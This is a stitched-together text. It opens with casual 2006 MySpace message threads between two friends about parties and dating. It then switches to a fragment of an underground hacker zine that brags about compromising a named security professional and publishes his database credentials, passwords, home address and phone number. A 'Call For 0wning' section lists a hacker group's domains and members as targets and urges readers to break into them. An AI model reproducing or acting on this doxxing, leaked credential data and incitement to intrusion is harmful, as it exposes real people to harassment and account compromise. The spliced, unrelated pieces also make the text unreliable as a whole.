and always living in the moment and not thinking of the next day 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 10:58 PM 


Well you will have to make up for lost time tomorrow and stare long and
hard at my lovely pics :P pft hahaha! 
Ohhhhhh you are such a party animal, I wish I had the energy and friends
to party all the timeâ€¦not to mention the money and the fricken clothes
to wear out. 


----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 10:53 PM 


haha stop hurting my brain ... It isn't a relief not being able to see you
;P 

Yes, at gun point as well, I might add!!! Well maybe not quite, i seemed
to agree it would be a good idea ... but knowing me, ill be out all night
and will be dying tomorrow =.. 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 10:50 PM 


So it wasn't sarcasm? So its a relief not being able to see me???
heeeeeeeeey! 

Ohh your friends are dragging you kicking and screaming into town again? i
think i need to have a talk to them! 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 10:48 PM 


Haha oi! Who said it was sarcasm? ;P 

a GEEK? What!!@##49 

ahh fuck think im getting dragged into town tonight 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 10:41 PM 


Ohhhh so sarcastic and mean! Lucky you are a Geek :P 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 10:39 PM 



I know, it's such a relief... I mean I'm devastated I can't gaze upon your
beauty as I reply to these sweet messages ... Or something ;) 
----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 10:37 PM 


No pictures? so you cant see me? :P hehe 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 10:32 PM 


Shhh ;P 

Haha it will work ;P 

you can't believe how confusing it is trying to navigate myspace with no
colours or pictures at all lol :S 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 10:30 PM 


Normal hey :P ok well I will be off then, I will just tell my boss you
said I could go and if he has a problem with it he can call you 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 10:26 PM 


meant full from the bbq ;P but yeh I get bloated off beer as well .... Bbq
was nice, LOTS of food ... and geeks! heh they're not too bad actually,
some are normal/more like me :o 

Sure you can! Just walk out ;P 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 10:24 PM 


Hahaha! Well beer tends to bloat me too! How was the BBQ? And you did not
answer my questionâ€¦..can I please go home early? 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 10:20 PM 


Oh I can imagine!!!! Haha yes well that's not fair ... I'm stuck here
setting up a shitload of computers, and forced to view websites through a
text based browser :S 

But I've got beer, and sooooo full! =) 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 9:22 PM 


Ohh I am so lonely now? It is such a beautiful day todayâ€¦although you
would not know because you are not here with me ;) can I pleeeeeease go
home??? :P 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 8:05 PM 


haha all right i'll let you off this time ;) 

no way!!!!!!!!!!! You'd hurt me if i did ;) 

Hah fuck, i better go anyway ... have fun on myspace!! I'm sure it won't
be the same without me!! =( haha, take it easy 


----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 8:00 PM 


Nope? Damn it! I got up this morning tho and went ;) are you saying I am
fatâ€¦â€¦â€¦heeeeeeeeeeeeeeey! 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 7:55 PM 



AND i suppose you didn't go to the gym last night? ;P hmmm? 
----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 7:54 PM 


well i am eating crackers and chocolate :P shhhh 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 7:49 PM 


Heh just means they're setting things up but running short on time! 10
more minutes and I might go help them =) haha yeh beer + bbq is sounding
good right about now 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 7:46 PM 


ha...ok i dont know what that means ;) but as long as you know what you
are doing! Mmmm Beer and BBQ yum 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 7:35 PM 


Soon soon! I want to time it so I make it just for the BBQ and beers,
which means less setting up for me =D 

hawkes: is the ctf box done 
can you tell me what ip addresses you want 
ey 
im setting up dns 
hey 
hows it all comming together 
hmm another interview.. cutting it a bit fine 

Sounds like they're doing well ;P 

----------------- Original Message ----------------- 
From: Cassie 
Date: Sep 27, 2006 7:29 PM 


Tut tut tutâ€¦get to work slacker! 

----------------- Original Message ----------------- 
From: Jules 
Date: Sep 27, 2006 7:18 PM 


For all the things I'm supposed to be doing today! Still at home :S 

-
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Subject:	RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE:
RE: RE: RE: RE: RE: RE: Wat do you think about me?
Body:	well i have been with my BF for 5 yrs this xmas and before that
was with a guy for 2 years then before that i was in a pointless kid
relationship for 3 years...even tho we never really spoke to each other??
very interesting!! so no i haven't ever really been single :P 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 27 2006 8:21 PM 


haha yeh, i thrive on those things!! 

Well as long as you're happy....ive been properly single for ages, had a
few brief girlfriends ... Had one long term relationship when i was 16 to
about 18, but that's about it 

----------------- Original Message ----------------- 
From: Cassie 
Date: Nov 29 2006 9:57 AM 


really! sometimes i feel the opposite....scared i am gonna look back a
regret missing things? like independance, travelling, buying a house on my
own! own ever really being with 1 person?? i have never been single!! that
scares me sometimes!! although other times i think no its worth it i guess
if i am happy 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 27 2006 7:41 PM 


hehe ;P 

I mean no, I'm a big tough man with no feelings!! haha ahhh ... single
life is fun, but gets sort of boring after awhile 

----------------- Original Message ----------------- 
From: Cassie 
Date: Nov 29 2006 9:35 AM 


well that explains alot...you were hurt before so now you dont want to
make yourself vulnerable again?? hmmmmmm well dont punish the next girl
for what the last one did!! you got thru it last time so you will again if
it happens...but it wont!! :P 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 27 2006 7:32 PM 


haha good idea ;P 

Not sure! Just seems to happen a fair bit ... All though it's a reason I
rarely have gf's anymore 

----------------- Original Message ----------------- 
From: Cassie 
Date: Nov 29 2006 9:26 AM 


well check the yellow pages...i am sure this is a local GF store near you
:P 

hahah why would a girl cheat on you? 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 27 2006 6:30 PM 


haha well they're just in between ... i've decided i want a girlfriend
now, but it's just hard to find one ... especially one who won't cheat on
me 

----------------- Original Message ----------------- 
From: Cassie 
Date: Nov 29 2006 8:17 AM 


maybe the fact that you are trying to pick up wasted 26 yr olds?? hahah
that could be why it is so haaaaaaaaaard!! 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 27 2006 6:09 PM 


I could have, but didn't really feel like it ;P I was so cold to her, and
she was really wasted and just wouldn't leave me alone, so i just did it 

I'm not sure :S I tried messaging her on friday, and then again on
saturday, and didn't get any replies ... So she either had no credit, or
just didn't want to talk to me...So I think I'll give up, and try and find
a new love on Thursday ... Why is it so hard to find a decent girl!!?!?!? 

----------------- Original Message ----------------- 
From: Cassie 
Date: Nov 29 2006 8:02 AM 


oh you just had to settle for her did you? you couldn't go without
altogether? hmmmm wat about your love interest not to long ago? what
happened to that 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 27 2006 5:59 PM 


26...So I had to settle for her friend, who I immensely disliked 

----------------- Original Message ----------------- 
From: Cassie 
Date: Nov 29 2006 7:50 AM 


hahah!! how old? 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 27 2006 5:25 PM 


haha yeh i know =( I think she was a bit out of my league and age range,
but still !!!! 

----------------- Original Message ----------------- 
From: Cassie 
Date: Nov 29 2006 7:14 AM 


ohhhhhh wat a tease....flashing around daddys money :P 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 27 2006 5:10 PM 


Oh yes I'm out of control!! haha i got knocked back by a rich girl with a
porsche =( she seemed keen but i a 
sked her to come for a walk and she declined! evil women 
----------------- Original Message ----------------- 
From: Cassie 
Date: Nov 29 2006 7:02 AM 


you are such a rebel jules 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 27 2006 3:12 PM 


ha ha yeh ;P 

oops, sort of forgot to come home for 5 or so days !! i thought i wasnt
going to do too much this weekend 

----------------- Original Message ----------------- 
From: Cassie 
Date: Nov 25 2006 11:21 AM 


Interesting :P 

----------------- Original Message ----------------- 
From: Jules 
Date: Nov 23 2006 9:21 PM 


ADELAIDE 

Oops, I mean words can't even begin to describe my thoughts about you.
They just won't do you justice. 

*grins* 

----------------- Bulletin Message ----------------- 
From: Cassie 
Date: Nov 25 2006 10:56 AM 


Describe me in one word.... Just one word. Send it to me and me only. Then
re-post this message to your friends and see how many strange things
people say about you. This is really fun. Just hit the reply key and send
me my one word. Then re-post! Game On!!!! And lets try and keep it
clean... :P
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[stud.txt]
Subject:	RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE: RE:
RE: RE: RE: RE: Jules the studd :P
Body:	Why is she coming over? Up for round two and you have not even
decided on the rules yet? Ohhhhh so you slept with her you naughty boy
Jules!! Hehehe!! Try not sleeping with her while she is with this other
guy, coz then you are the other guy and it makes her look bad â€“ and if
he is hugeâ€¦he could find out and want to hurt you :P heheh poor Jules 
P.S. you are sooooo in love with her 


----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 9:42 PM 


NO, no love :P 

haha always good to keep your bases covered ... She's coming over tonight,
hmmmmmm ... It's going to be hard to be well behaved ... I hate sleeping
with people I like ... Things get messy!! 

Damn my confusing head, this is why I avoid letting myself feel anything
for anyone heh 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 9:39 PM 


Oh and just a thought â€“ if you declare your dieing love for her and she
turns around and says she doesnâ€™t feel the same way about youâ€¦.then
say â€œpft haha kidding, it was a joke â€“ as if I would be in love with
you :(â€œ and cry when she cant see youâ€¦â€¦keep your bases covered
hahaha 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 9:36 PM 


Oh I won't forget! If I fall in love I will come after you and exact my
vengeance :P 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 9:34 PM 


Thats my boyâ€¦.and donâ€™t forget me when you are all giddy and in love! 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 8:35 PM 


haha I like the way you think ... Reminds me of me ... All though I'm
trying to be nice or something at the moment ... but yeh fuck it, I'll do
it!!!! 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 8:25 PM 


Do you know the other guy? No? then who cares!! Blunt but hey thatâ€™s
life!! And just talk it thru with her first, tell her you arenâ€™t
proposing this could be a good short thingâ€¦.so if she wants to leave the
guy she is with and give it a go then yippee! If notâ€¦.then she
shouldnâ€™t have hooked up and did â€˜you know whatâ€™ on the weekend with
you now should she! :Pe 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 8:23 PM 


Haha indeed. .... (by the way, most women are anyway) <<< haha no doubt!!!
Keeps life exciting though ... I'm just trying to get rid of all my
stalkers as it is heh ... Not that I think she would be like that ... Ahh
well, I might pursue it and see what happens I suppose ... I really hate
destroying relationships if I'm actually going to try and go out with the
girl though ;P 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 8:20 PM 


Well you cant let past experiences ruin new ones!! I would do it if I was
you!! and whats the worse that can happen â€“ if she turns into a psycho
(by the way, most women are anyway) then get rid of her, change your
number and move interstate :) hahaha 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 8:15 PM 


yah that's what she means!! heh she's a good friend ... Well it was just
an example ... guess she doesn't think I'm the type for girlfriends ;P 

ahhh such drama ;) haha ... it's just the last girl I decided to go out
with, started like this ... boyfriend thing etc, then it just got messy 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 8:11 PM 


Ok so I guess that means she cant believe you want a GF? Yeah? Who is she?
Do you care what she thinks? Or is this the girl you like? 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 8:07 PM 


Haha no I'm not a pig ;P 

Well not if I may like someone ... haha fuck, this is what I mean ... I
just said to someone I was thinking of getting a girlfriend soon and this
conversation followed : 

..x4d..x69..x6c says: 
ive decided i might try and get a girlfriend soon lol 
..x4d..x69..x6c says: 
fucking msn 
BaRbI hAs LoSt Da PlOt!!! says: 
fuck wait are u sick 
BaRbI hAs LoSt Da PlOt!!! says: 
i just read that 
BaRbI hAs LoSt Da PlOt!!! says: 

BaRbI hAs LoSt Da PlOt!!! says: 
ahaha 
BaRbI hAs LoSt Da PlOt!!! says: 
jules 
BaRbI hAs LoSt Da PlOt!!! says: 
wants 
..x4d..x69..x6c says: 
Hahah i know 
BaRbI hAs LoSt Da PlOt!!! says: 
a 
..x4d..x69..x6c says: 
call me crazy! 
BaRbI hAs LoSt Da PlOt!!! says: 
girlfirned 
BaRbI hAs LoSt Da PlOt!!! says: 

BaRbI hAs LoSt Da PlOt!!! says: 
wait i need time to take this in 
..x4d..x69..x6c says: 
shhh 
BaRbI hAs LoSt Da PlOt!!! says: 
i just got a msg from that guy in melbourne 
BaRbI hAs LoSt Da PlOt!!! says: 
alright im still not over the shock 
BaRbI hAs LoSt Da PlOt!!! says: 
ahng on 
..x4d..x69..x6c says: 
Haha what shock ;P 
..x4d..x69..x6c says: 
i could have a girlfriend ;P 
BaRbI hAs LoSt Da PlOt!!! says: 
hahaha so u got one in mind? 
..x4d..x69..x6c says: 
yep! 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 7:57 PM 


well i think if yous like each other and have for a while then yous should
go for it and if something happened over the weekend and then you stop
contacting her then you will look like a pig......and you are not are you
studd boy :P 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 7:55 PM 


Yeh, there's sort of been something between us for quite a long time, but
we've never done anything about it ... Yeh not sure if she can be trusted,
but I'd say she can ... Except for what she did on the weekend, but that's
sort of different!! 

haha no i don't want to be alone forever ... but I'm still young, and
being single is rather enjoyable..Also breaking up relationships gets
annoying, hence the reason I was thinking I should just stop talking to
her 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 7:49 PM 


so you picked her up even tho she had a BF? are yous close friends? or do
you just kind of know her but there is a huge attraction? well dont take
this the wrong way but if she is cheating on her BF with you then she
either A cant be trusted or B is really into you so you should go for it!
Dont like to get in relationships? why? what do you want to be alone for
ever? noone is saying you should get married :P dont hold back scaredy cat


----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 7:44 PM 


Yeh I picked up one .. but it was just awkward!! 

Well one reason is that she's got a boyfriend...another reason is that I
usually avoid relationships, for various reasons ... but if she was single
I probably would have gone for it ... feelings suck :P 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 7:41 PM 


So you did pick up or you didnâ€™t? well thatâ€™s strange? Why cant you
like her? Go for it stupid!! hahahah 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 7:30 PM 


haha I mean well behaved as in NOT picking them up ;P 

I even didn't pursue some which would have been really easy lol 

So in total there was only one, and it was strange .... I think I might
like her or something ... So I'm not going to talk to her again just in
case I fall for her :P 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 7:27 PM 


oh were you now?? you little studd! hahaha how many did we pick up this
weekend 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 7:26 PM 


oh that haha ... and it was a friend, and she ended up deciding that she
wanted to head out for some drinks somewhere, and I couldn't be
bothered!!! 

AND I was well behaved when it came to women this weekend! 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 7:20 PM 


you said you were having a lady 'friend' over to 'watch' a movie?? hmmmmm 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 2, 2006 7:18 PM 


haha yes i did! Didn't really do anything on Friday night, had an early
night! by myself :o 

What movie??? 

hah yeh i'd never really played before, was pretty funny 

----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 2, 2006 7:15 PM 


well it sounds like you had fun too then :) and friday night....heyyyyyy!
you forgot to mention your movie?? 

ohhhh i lurv yatzee its great!
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----------------- Original Message ----------------- 
From: Jules 
Date: Oct 3, 2006 7:54 PM 



nOt very well by the looks of it!!! Just someone is trying to brute force
my SSHd ... of course :P lol erm yah! but on the upside, im eating grilled
cheese on toast! 
----------------- Original Message ----------------- 
From: Cassie 
Date: Oct 3, 2006 7:37 PM 


ok? how do they do that 

----------------- Original Message ----------------- 
From: Jules 
Date: Oct 3, 2006 7:33 PM 


Haha sucks! is it? Well it was i suppose, afternoon here now!!! 

ahhhhhhhhhhhhhhhh someones trying to hack meeeeeeeeeeee bastards ;P
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sub Scene { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; own($self, <<'EOSCENE'

"Times change and technology progresses. Attackers adept and attacks evolve.
At this point in history, we can wax fondly for the halcyon days when computers
were hacked for pride or ego -- the good ole' simpler times when underground
hacker wars were electronically waged and the collateral damage was the main
website of The New York Times. Or the Solaris machines that were owned and the 
high profile computer security icons that had their e-mail spools stolen and 
personal poetry publicly posted. Or the OpenBSD machines that were rumored
to be silently owned and the early copies of the most lauded online underground
hacker journal that were distributed months ahead of time. Good times. Nowadays,
there is no underground hacker scene -- not like there used to be (bring back 
BoW and Hagis!)." -- Mike Schiffman from the introduction to _Hacker's_Challenge_3_

While route is indeed a whitehat sellout (and appears to like watching his
co-workers be publicly humiliated), he is certainly correct about one thing:
The Scene is IDLE. Not just a little idle, we're talking over a year of idleness
here. Sure, occasionally groups attempt to make a stir. Undoubtedly, some of
the readers will remember the PHC Delka Strike Force, hosted at http://el8.ru/x/
 (now down). Or the release of the epic h0no3 about one year ago. And of course,
our own fun little contributions. However, despite the hard work of a number of 
individuals, many of the goals originally set forth for pr0j3kt m4yh3m by el8 and 
the Phrack High Council have yet to be accomplished. This needs to change. 
Instead of chatting on IRC all day, go out and own a whitehat. Do a PHC mission. 
Contribute to pr0j3kt m4yh3m. 

The recent events revolving around the blogger known as "InfoSec Sellout" 
bring an interesting point to light. When the older "security professionals" 
discovered the "fact" that InfoSec Sellout was LMH and was backed by PHC, it
caused quite a stir for those that remembered the heyday of the pr0j3kt. For 
the whitehats that had just entered the industry post-whitehat holocaust, it 
didn't mean a thing. They simply assumed (like 90% of the HTS userbase) that 
PHC was/is a group of dissatisfied script kiddies. Too bad all the evidence
points to the contrary. Another sad fact is that whitehats have not only
taken over the public side of the scene, but the private side as well. These
"revelations" about InfoSec Sellout at one time would have come from an
anonymous post to FD, from a member of the underground. Now they come from a
"respected security professional". Instead of talking about the activities of
real hackers, the gossip reels these days deal with the exploits of whitehats
like David Maynor, HD Moore and others. Is this what we've allowed the scene to
become? A bunch of idlers thinking about fat middle aged whitehats? Where's the 
rage? Where's the dedication to the eradication of the greedy security 
consultants? Where's all the activity that was prevalent in the scene until 
recently?

A time has come for a change. Follow the example dikline set out. Take back the
scene! Go out and actually hack. Don't post exploits to FD; post a whitehat's
spools! Continue the legacy of the glorious pr0j3kt m4yh3m!

Never sell out, never surrender.

EOSCENE
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sub Bambenek { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; own($self, <<'EOBAMBENEK'


John Bambenek is the Assistant Politics Editor for BC Magazine and is an 
academic professional for the University of Illinois. By trade, he is an 
information security professional, part of the Internet Storm Center and a 
courseware author and certification grader for the GIAC family of security 
certifications. He is a syndicated columnist who blogs at Part-Time Pundit 
and the executive director of The Tumaini Foundation which helps AIDS 
orphans and other children in Tanzania to get an education.
John Bambenek is a man of many trades: An assistant politics editor; an 
academic "professional" for the university of Illinois; an information 
security "specialist"; author and grader of the GIAC security certs. He 
also loves to blog bullshit.

Despite his background charity work, the internet does not make exceptions 
- speaking out of turn will get you owned.

Bambenek loves blogging so much he has four, yes four, blogs ( 
www.bloggernews.net, www.mensdailynews.com, thewideawakes.org and his site 
www.parttimepundit.com ). 

Now you may be wondering what it is Bambenek has done wrong. Well, despite 
being a self-loving whitehat(burn) and talking more shit than a cess pit 
with a mouth, it wasn't either of these reasons that forced us into 
action.

This guy actually insulted us personally. I assume all of you have read 
P64 and probably enjoyed it (if you saw past the typos, but I won't 
mention that here). If you're reading this, John, it should be coming 
clear now shouldn't it?

I'd like to point you all to 
http://blogcritics.org/archives/2007/06/05/183157.php

This is Bambenek's review of P64 - I think he probably believes he has 
some authority to speak about the "underground" because of his security 
certifications and time at ISS. Well John, you are either the dumb piece 
of shit we think you are, or you like being rm'd and having your emails 
read. Lets take a peak at the review.

##Quote 1##
"As an information security professional, lately I've become quite bored. 
The state of hacking today seems to be almost solely employed by the 
spammer-class of miscreants looking to make as much money as quickly as 
possible. It's big business now. As such, they continue to exploit the 
same weaknesses, again and again, and simply lack the spirit and ingenuity 
of previous generations of hackers."

## I bet the first five words of most of your security related blogs begin 
that way don't they? Same old whitehat drivel. I can also assure you John, 
we aren't all trying to sell our exploits on wslabi, and to be honest John, 
you spam more shit than anyone. Four blogs? All mirroring the same 
bullshit?

##Quote 2##
"Hacking has been commoditized. With spammers running the show whose 
bottom-line is money, information security threats have become 
quantifiable, systemitizable, and predictable. Occasionally there are some 
really neat new security hacks, the WMF exploit and the ANI exploit come 
to mind, but by and large, it's the same old stupid tricks done and 
redone. This is because they continue to exploit the weakest link, the 
unsophisticated PC user who will still fall prey to 419 scams after all 
these years. Upwards of 80% of people will click on phishing e-mails if 
the message looks "good" enough, such as through a social networking site. 
Any idiot can own hardware nowâ€¦ and they do. It's quantity over 
quality."

## Generalising. Did you predict this attack? As a side note, you have 
only discovered one public bug (harvesting bugs for wslabi?), you lack 
skill John. I don't even know how you can consider yourself a security 
professional.

##Quote 3##
"At the same time, many of the old school hacker groups have sold out. 
Instead of continuing to work on their craft, they've gone to work for the 
highest bidder. As a result, the old hacking vitality has been lost."

## Yes, all our exploits belong to wslabi. You know nothing about hacking 
dude (quit monitoring SANS stats, might get you somewhere), this article 
will totally discredit you in the security industry and deservedly so. We 
respect your right to blog, but this next quote really took it too far, 
especially in terms of lolz.

##Quote 4##
"I wouldn't be doing the job I do if it weren't for hacking; the problem 
is that you're boring the hell out of me."

## Wait, we're boring you? Dude even with your mail spools combined, you 
are much...much more boring than anyone or anything, and that includes FD 
mailing list.

##Quote 5##
"I have some sympathy for their underground and anti-authority tendencies, 
though I've not participated in the underground."

## Lies. Bambenek == Maynor == LMH == Infosec sellout. Fuck your sympathy 
dude, good luck with your perfect life, I should throw Tyler Durden quotes 
at you. 30 years old and never had a woman :/

##Quote 6##
âThe reason there is often a delay is that a lot of the people who 
actually install a lot of these keylogger programs are not that 
sophisticated, Bambenek said. In most cases, they're teenage 
hackers who flip the information to more organized criminal groups for 
some quick cash.â

## Yeah man, fuck those keyloggers!?! 0day can happen to anyone...but more 
likely the retarded (Copyright Raven 2007)

##Quote 7##
"I was in a Washington Post article today in which I basically was quoted 
calling all the online credit card thiefs n00bs. Iâ€™m starting a pool, 
how long til they DoS meâ€¦"

## Typical whitehat response, we are probably script kiddies because we 
owned you. The truth is dude, you are the n00b here (see below for 
password l0lz). And as for DoS? meh, no one visits your site.

Anyway, I guess its time to drop some d0x :D


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// ** MySQL settings ** //
define('DB_NAME', 'john1_wrdp1');    // The name of the database
define('DB_USER', 'john1_wrdp1');     // Your MySQL username
define('DB_PASSWORD', 'oQUgk8DQWjco'); // ...and password
define('DB_HOST', 'localhost');    // 99% chance you won't need to change 
this value

Other than that, not really anything worth noting, other than his shitty 
self promoting news letters (Bambenek for president). John, any further 
comment and you will be owned again.

Name:
   John Bambenek

Mailing address:
   715 Erin Dr

Phone number:
   217-493-0760

And on a final note, I'd like to finish this article on a note that will 
make everyone laugh (at John Bambenek). As a security consultant, you 
really would think he'd know better. A seven letter password, a word found 
in dictionaries, all lowercase, you find it on the beach? Similar to a 
stone? Well if you can guess it you you too can own John Bambenek. wtf 
kind of password is "pebbles"? If anyone employs you again to work in the 
security industry they are cleary more stupid than you are. One other 
thing, you are right, you wouldn't be in this job if it wasn't for hacking 
- so quit fucking leeching from what we create or you will be owned again 
and again.

Just another disgruntled teenager trying to be nostalgic for a long passed 
era which I never even participated in. This relevant enough for you?
	cya John.

EOBAMBENEK
);}




sub CF0 { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; say($self, <<'EOCF0'


== Call For 0wning ==

Same deal as before. Own whoever you can and report it to us for elite
prizes! Or just respect.

== Results ==

I think it is fair to say that our first CF0 was a complete and utter
rags-to-riches success story. Despite drawbacks (hakspace getting defaced
and removed, every other site being redone) we still 0wned everything to
do with psg. Our one sadness is that not one external group responded to
our call, unless one of the many people owning psg was inspired by us and
simply declined to contact us. We expect more this time.

"In the End, we will remember not the words of our enemies, but the 
silence of our friends." 
- Martin Luther King Jr.

== New Target: The Cult of the Dead Cow ==

The cDc are a group of media-focused attention-grabbing fucktards.

These guys produce shitty content and then market it as if it means
something.

Sound familiar? Most definitely. They're awfully like psg, our last
victim. In fact, they are so much like psg that they invited psg to be a
member of their "Ninja Strike Force" wanksquad.

The variety of cDc websites and content is simply designed to confuse you
into thinking that they do something.

In reality, all the cDc does is try to convince the world that they are a
very important, top-of-the-world, hacking group.

Let's start at the top. The cDc leader, Ratte', is a piece of noob. Yes,
he has known how to type for decades. But what has he learned in that time
huddling over his keyboard? Fuck all. Check out his Phrack profile. He
was 14 when he started cDc. For years it was just a group that published
dreadful and creative (read: non-technical) text files. Now they do that,
plus audio and image files. 

You know how cDc tries to sell the image that it has been the shit in the
hacker community since 1984? Yes, well, that's complete bullshit. And
Ratte' knows it:

"But what makes CULT OF THE DEAD COW different and has enabled us to last
is that cDc has never been about technology" <- so stop calling
yourselves hackers to gain hits, fuckers.

From 1984 until something like 1998 they did hardly anything except write
these shitty articles, recruit new members, and suck some media cock.

This is the one exception: in the early 1990s they ran hohocon. hohocon
had very limited amounts of technical content, and it wasn't supplied by
cDc. Think of it as a bunch of fat losers getting together to bumfuck each
other.

What you need to understand is that Ratte' is basically an emo loser who
blogged for twenty years. 

Over time he has recruited other media cock suckers, most of which have
only lasted a few years. Fools that they are, their most popular work will
forever be what they released with cDc, and it will be considered made by
cDc, with them mentioned only as an afterthought. Not coincidentally, the
reason their shitty work was popular to begin with was because it was
released by cDc.

"I think with our longevity we've worked towards finding a new way to
relate to technology and the emerging global structure." <- you mean
you have worked towards recruiting new members who at least know how to 
use some new technology.

What is the one bona-fide highlight of cDc's technical career? It was when
they wrote Back Orifice and Back Orifice 2000 and spoke at two Defcons
about them. Congratulations, you wrote a shitty backdoor for Windows 95/98
(not like 98 was a big technical advancement over 95) years after win95
had been released. According to ISS, they used a two byte encryption key
(http://xforce.iss.net/xforce/alerts/id/advise5) with a known plaintext.
Seriously, why not just rot13 it? Stupid wankers. Apparently cDc losers
continue to implement encryption poorly.

Yet BO was quite popular. All because cDc talked it up. Real hackers were
writing much better backdoors, trivially, and keeping them to themselves.
Real hackers actually had backdoors that weren't designed for grandma's
PC. And Defcon supported cDc in their bullshit game. BO was cDc's way of
saying "look ma, we got a couple new members who know this programming
thing. we're still relevant!" The other programs by cDc since then have
been just as shitty. Bollocks I say.

cDc has never, ever, produced anything good.

The combined technical production of all cDc members, ever, during their
time at cDc, is easily comparable to a year's worth of work by a small
"script kiddie" group, despite all the time that kiddie group would have
invested actually hacking.

cDc also has this hacktivismo thing, which is also a piece of shit that
hasn't accomplished anything. But it sure has produced a lot of rhetoric,
adding more shit to the fan, and has a few members whose names can be
added to the cDc shitlist.

They have a "ninja strike force", which is just another bullshit name for
cDc members. See, cDc wants to throw a bunch of names at you, like cDc,
cDc communications, ninja strike force, and hacktivismo, to make it look
like they are involved in a lot of stuff. 

Now of all things they have integrated psg. They get to use him as a wank
vehicle to spread their name. He does likewise. It's a gay publicity fest.
psg gets to talk about Eve (lame Whitedust program) on the NSF blog,
despite the fact that he didn't write it. Literally using cDc to sell a
product that nobody in cDc made.

These guys spend their days forming myspace blog posts. It is a bloody
group of myspace users who tell the world that they are one of the oldest
hacking groups, and use the number 1984 as their evidence.

Please start owning cDc assets or individuals. We want cDc to just end.
They are worse than 2600 (and we would probably write a CF0 on 2600 if we
hadn't owned them so much already).

== Targets ==

Some domains to own:

cultdeadcow.com
hacktivismo.com
ninjastrikeforce.com
bo2k.com
http://www.cultdeadcow.com/?p=proj # Good list to work on!
http://www.cultdeadcow.com/?p=other # Another list to work on!

Here is an incomplete list of people to own (gathered from cDc websites
for your convenience):

(here be older members)
Grandmaster Ratte'
Obscure Images 
THE NIGHTSTALKER - gis.net/~cht
Count Zero - zero.hastypasty.net
Mudge
Oxblood Ruffin - oxblood.net
Sir Dystic
Dildog
Dark Sorcerer

(here be the blogging crew)
Myles Long - http://www.rezident.net/~myles/
xxxclusive - http://the3rd2nd.com/
Hella Kitty
assrabbit
Javaman - http://www.philtered.net/~adam/
Mixter - mixter.void.ru
Lord Digital - http://www.phantom.com/~digital/
MiB
Delchi
el - http://el.blogsport.de/
Punkle Jones
trammel
ladyaya
valsmith - offensivecomputing.net
dannyquist
Comrade Smack

(here be current NSF bitches not listed above)
psg
DaYuM
Devolish
Diskrez
Elliot Pank
Flack
fj
KEMiKAL
Lizzie Borden
Omnininja
oxycolton
Phrenchtoast
RaD Man
Voice Of Anarchy
Biot
Binary
Chamuco

(here be others)
anyone on IRC
anyone on their forums

I excluded a few older members. I get the feeling that they knew how lame
it was, and have moved on. Ratte' just finds it convenient to use their
names to try to support his credibility. But we don't really know them, so
do what you would like.

There are lots of reasons to own any of these individuals. Many are
morons. Many have never accomplished anything. The few who have written
code for cDc have done so poorly. Some are whitehat scenewhores. If you
can't decide, how about we offer suggestions:

Ratte' - Start at the top and own this noob. He knows what he is, but he
         won't stop lying.
